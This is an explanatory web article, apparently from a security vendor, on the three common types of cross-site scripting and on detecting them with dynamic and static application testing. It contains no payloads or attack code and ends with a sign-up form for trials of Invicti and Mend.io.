Cross-site scripting (XSS) is a vulnerability where an attacker forces a target’s browser to execute a malicious script. The consequences can include stealing session cookies and impersonating the user. XSS can also be combined with social engineering to escalate to more destructive attacks, such as stealing sensitive data.
Types of XSS (common classification):
Stored/Persistent XSS
What is it:
The most dangerous type of cross-site scripting.
To execute it, an attacker injects malicious content (called a payload), most often JavaScript code, into a website. If input validation is not present, this malicious code is stored by the web application, for example in a database.
Possible scenario:
An attacker can inject a malicious script into an input field, such as a blog comment.
When a user opens the affected page, the XSS payload is passed to their browser as part of the HTML code (as a legitimate comment), and then the malicious script is executed.
Reflected/Non-persistent XSS
What is it:
In this case, the attacker’s payload must be part of the request sent to the web server. It is then reflected so that the HTTP response contains the payload from the HTTP request.
Reflected XSS is not stored, so the attacker needs to inject the payload for each user separately.
Possible scenario:
An attacker sends a phishing email with a malicious link to trick the target into sending a request to the server, which then executes the XSS in their browser.
DOM-based XSS
What is it:
This is an advanced XSS attack that can be executed if client-side web scripts write user-supplied data to the Document Object Model (DOM). The data from the DOM is then read by the website and displayed in the browser.
If the data is not processed properly, the attacker can inject a payload that will be stored as part of the DOM and executed when the data is read from the DOM.
A DOM-based XSS attack is often client-side, so the malicious payload is not sent to the server. This makes it even more difficult for Web Application Firewalls (WAFs) and security engineers who analyze server logs to detect it, as they will not even see the attack.
The most commonly manipulated DOM objects include the URL (document.URL), the anchor URL part (location.hash), and the Referrer (document.referrer).
Possible scenario:
The attacker places a malicious link with a compromised URL on a third-party resource and sends an SMS with it to different numbers. The target goes there, the client script reads the URL and inserts the content into the DOM, after which the malicious code is executed.
Detecting XSS
How DAST (black-box testing) does it:
Dynamic application security testing (such as Invicti based on Netsparker and Acunetix) gathers the structure of a website at runtime, finding input forms and other entry points. It then injects safe payloads that mimic the actions of a hacker, thus checking for the presence of a given vulnerability.
How SAST (white-box testing) does it:
Static application security testing (such as from Mend.io) examines the source code of a web application, looking for errors that are likely to indicate the presence of a vulnerability, roughly speaking, as in the text.
Best practice — combining methods
A good choice is to combine these practices, as they are not interchangeable.
Firstly, SAST cannot detect vulnerabilities that are only present at runtime, like DAST, which reduces its coverage; it is also considered less accurate.
Secondly, DAST cannot scan the entire code base; only the running web application is tested, which makes it impossible to implement this method in the early stages of development (but it can be implemented later).
Thus, it is best to combine these techniques to achieve maximum efficiency.
You can test the Invicti (DAST, IAST) and Mend.io (SAST, SCA, container security) platforms, which are seamlessly integrated, for free, to do this, please leave your data in the form below:
Request for free Invicti/Mend.io Trial
Leave your contact details and we will get in touch with you
